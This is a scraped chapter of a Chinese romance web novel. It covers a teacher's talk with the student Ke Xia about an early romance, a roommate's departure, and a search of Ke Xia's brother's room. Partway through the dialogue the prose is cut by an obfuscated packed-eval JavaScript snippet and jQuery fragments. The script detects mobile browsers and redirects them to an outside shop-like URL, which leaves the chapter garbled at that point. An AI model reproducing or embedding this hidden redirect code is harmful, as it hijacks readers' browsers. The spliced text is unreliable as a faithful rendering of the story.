123读书网 > 都市小说 > 赎我 > 66. 谢纯进王薄房间
    柯夏只好走过去,摆出已经练习了多遍、熟稔的认错态度:“让老师担心了,对不起。”


    丁晴倒了杯温水递到她手心里,一言不发地望着她。


    半晌,丁晴叹了口气,拍拍张美兰的胳膊:“你去上厕所。”


    “我?我……”张美兰不可置信地指着自己。


    丁晴点着头,把她推出去。


    支走了张美兰,办公室只剩下了丁晴和柯夏两个人。丁晴拉了张椅子让柯夏坐,自己坐在她对面。恍惚间仿佛回到高一最懵懂时。


    丁晴开门见山:“柯夏,早恋的事情,老师还是希望你可以慎重考虑。”


    柯夏垂目:“老师,我考虑过了。”


    丁晴的上下眼皮缓慢开合,片刻后,语调轻缓地道:“你是我从高一带大的学生,我了解你。最清醒不过,清醒到明明知道有一条楚河汉界,却依然选择去模糊它。这样吧。”她叹了口气:“你说你喜欢历史,那老师就用历史的角度来说。你觉得,项羽自刎时虞姬在旁作伴,是好还是坏?”


    柯夏的脑内激烈角逐。


    她答不上来。


    丁晴似乎早有预料,自顾自说下去:“这个问题,没有一个确切的答案。或者说,当你在考虑给出确切答案时,就已经在自欺欺人。老师只告诉你一件确定的事,楚霸王被逼至绝境时,知道虞姬在旁,却只有同葬的结局,精神上一定是无限地悲凉。”


    “这样的悲凉,或许在自己陷入绝境时还没有,但虞姬出现在他的眼睛里,所以这样超乎常人的精神折磨出现了。”


    “柯夏啊。你们在校园,正是什么事都无法去做的年纪。你并不是不知道,你看到了你哥哥强求的后果,也是承受着巨大的精神压迫,变得不像自己。所以在父亲的事上知道要徐徐而图之。可,为什么在你和谢纯的事上想不明白呢?”


    柯夏的齿尖深深地没入唇瓣。


    半晌,她吞咽了下,深吸一口气:“老师,我明白你的建议。只是您知道,我不会做那样的事。”


    丁晴笑道:“是啊,老师知道你是好姑娘,所以在成老师提出那个要求的时候,我选择站在你的角度恳求他放宽要求。但是柯夏,你会有必须要狠心的那一天的,到了那天,老师希望你可以比现在清醒。”


    “……”


    柯夏心中升腾起一股不悦的情愫。


    并且惊觉这种不悦不来源于对丁晴本人的鄙夷,而来源于自己身上。


    她将它压下去,低声应道:“我知道了,老师。”


    “知道就好。”丁晴笑弯了眼,拉开抽屉掏出个柚子:“给你,最近压力大,多补充维生素。”


    “……这是学校发给张老师的吧。”


    “没事儿。我跟你张老师交情好,她不会怪我的。”


    “好吧,谢谢老师。”


    柯夏走出办公室,张美兰后脚回去。然后办公室里传出了尖叫。


    ——


    期末的最后一次大假,程鹿露反常地找柯夏一块儿出校门。


    柯夏挠了挠头,掖了下手里准备的一大摞资料,支支吾吾:“我跟人约好了。鹿露,对不起啊。”


    “啊……是谢纯吧。”程鹿露嘿嘿一笑。


    被戳穿,柯夏不好意思地扯扯嘴角。


    程鹿露一向十分大度的,却接上道:“那夏夏,你跟谢纯说一声吧。”她眨眨眼:“就让一天给我嘛,我下学期不来了。”


    “不来了?”


    “嗯呢。”程鹿露望天:“我的成绩上不上下不下的,优势都在综合上,本来就打算出国来着。正好我叔叔移民过去了,干脆就高二下学期也不读了,专心弄留学的事儿。”


    柯夏的手指在包带上抠了抠。


    她望向空荡荡的寝室,怪不得程鹿露一回来就在收拾行李。只消今天的大包小包一拿走,寝室里就只剩下她一个人了。


    “我知道你不爱跟人交往。”程鹿露把她的手牵起来,放在手心里晃:“所以吃饭就不叫你了。只是一起出校门而已,就当送送我。”


    柯夏的脑子里乱乱的,但程鹿露还在等她的回答,于是她摁下纷乱的思绪,勉强笑道:“好,你等我打个电话。”


    集英占地面积惊人的大,以往柯夏觉得从宿舍走出校门都要了人半条命,送程鹿露这一段却仿佛几步就走到了。


    一直到程鹿露坐上了车跟她挥手告别,她还是没有以后都见不到这个人的觉悟。


    她呆愣地在公交站坐了会儿。


    山长水阔的静寂里,一阵镜花水月的脚步声从落叶丛里淌过,接着,草木的清香神不知鬼不觉包裹住了她。


    她回头时,谢纯已经坐在了她身边。


    “程鹿露走了?”他问。


    “……嗯,走了。刚走。”


    柯夏望着谢纯。


    他正低眸看她,清风吹着碎发,整个人清透得不像话。


    “她家对她的打算,本来就是这样的。”


    “我知道。”


    柯夏深深地提了口气,将唇抿成一条直线:“我挺为他们高兴的,只是忽然感觉,在集英经历的一切都好像一场梦,接下来真的只有我自己在走了。”


    话音刚落,她的脑袋就挨了轻轻一下“咚”。


    “啊!”她脖子一缩,防御地捂住脑袋。


    “说什么呢。”谢纯轻嗤:“我不是人,是鬼?”


    柯夏抱着头,穿过胳膊望着他,半晌,缓缓地破出一个笑容:“对哦,怎么还把谢纯~哥哥给忘了?该死该死。”


    谢纯听出来在揶揄他。


    偏过头,荒唐地笑叹了口气,颇有种搬起石头砸自己脚的无措感。


    所幸公交来得也快,他一扯柯夏的袖子,反揶揄回去:“走了,妹妹。”


    他速度快,柯夏一回头,只来得及看见一片洁白的衣角没入车体。于是憋着一股劲,奋力跑过去追上,将他衣角扯住。两人拉拉扯扯、嬉笑着找了个靠阳的双连座。


    车上都是些疲惫的上班族,望着这对年轻小情侣精力旺盛的模样,直投来担心的眼神。没想到上了车,却很安静,在手上摊开资料小声讨论着。


    “这什么?”


    “当时成乘盛让你教我大题,我后续做的感悟和笔记,可能对你有用。”


    “嗯,谢谢悄悄。”


    “不……不客气。”


    “还有么?”


    “怎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232658|196091||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么可能还有!当时都要分班了,你又没教我物化生。”


    “语文和英语的也要。”


    “……这两门你好像挺厉害的吧。”


    “文科状元的能一样么?”


    ……


    午后的光线撒进车里倾盖成一片。氤氲着昏沉的睡意和草酸味,晃晃悠悠驶入金田巷。


    王琴英自王薄那件事儿后,就变得忙碌起来了。


    社区一开始都讨厌王琴英去,后续没有王琴英啥都玩儿不起来,就一趟一趟往王琴英家跑求她回来。


    王琴英也是焦头烂额。


    她接连给王薄去了几个越洋电话,问能不能让她回社区里边儿?王薄总是笑呵呵地拒绝,又撒娇出类似“国内我能信任的只有您”、“您挺能干的”之类的话。


    不是给她哄得飘飘然,就是给她夸得飘飘然。


    也就接受了帮王薄料理国内诸事的请求。


    只能时不时挤出点时间给柯夏做饭,大多时候都准备好菜,让两个小孩儿自己做。


    范柔芳吃过两个孩子做的饭,一口都没吃下去,那一晚上饿得差点进医院。就跟着社区里边解决。


    于是柯夏和谢纯进王薄的家,进得那叫一个如鱼入水的自然。


    经过调教,谢纯的备菜能力很有长进。柯夏就留他在厨房叮叮当当地使刀子,自己钻进王薄房间埋头苦找。


    半晌,谢纯择好了菜,一低头把围裙卸下来放一边,探头找柯夏的影子。


    柯夏还在王薄房间,乱成了鸡窝的头发若隐若现。


    “笃笃笃。”


    木质的房门被叩响了三声。


    柯夏回头,见谢纯斜倚在门框上,家居服贴在长身长腿上,十分养眼。不觉有几分甜蜜,软着嗓音问:“你弄好菜了?”


    “嗯。”谢纯抬了下颌,投去探究的目光:“找什么呢。”


    “我哥的笔记啊。”柯夏抹了把汗:“当时我哥把笔记全给我了,我拿了一本到学校。但后来觉得他的笔记没有你教的有启发,就一直没找后边儿的。现在找不着了……”


    谢纯毫不留情“扑哧”一笑。


    忽地,他视线抬起的刹那注意到了什么,目光微凝。


    柯夏顺着他的视线看过去,视线探及那处,略觉尴尬。


    替王薄觉得尴尬。


    墙上写了两个大大的字——“谢纯”,非常用力地打了两个大叉,还画上了靶子扔飞镖玩儿。


    他房间不怎么有人动,插上去的飞镖到现在还没被清理。


    柯夏眼看着名字的主人视线变得玩味起来。


    “呵呵。”她干笑了下,趴过去把飞镖逐个摘了,边摘边讪笑道:“我哥他,他不是故意的。”


    谢纯没有动作,唇角扬起,露出一个标准的微笑。


    “没关系。”他淡声回:“其实我更想知道,他是什么时候写的、扎的?”


    “啥?”


    柯夏望着他,注意到他的瞳仁忽地变得潭水般深邃。潭水深处,有一蔓潮热绕膝而上。


    “要是恨我招惹了你。”她望着他用漂亮的眼睛,蛊惑地单眨了下:“再被扎几个大洞,我也乐意。”


    “……”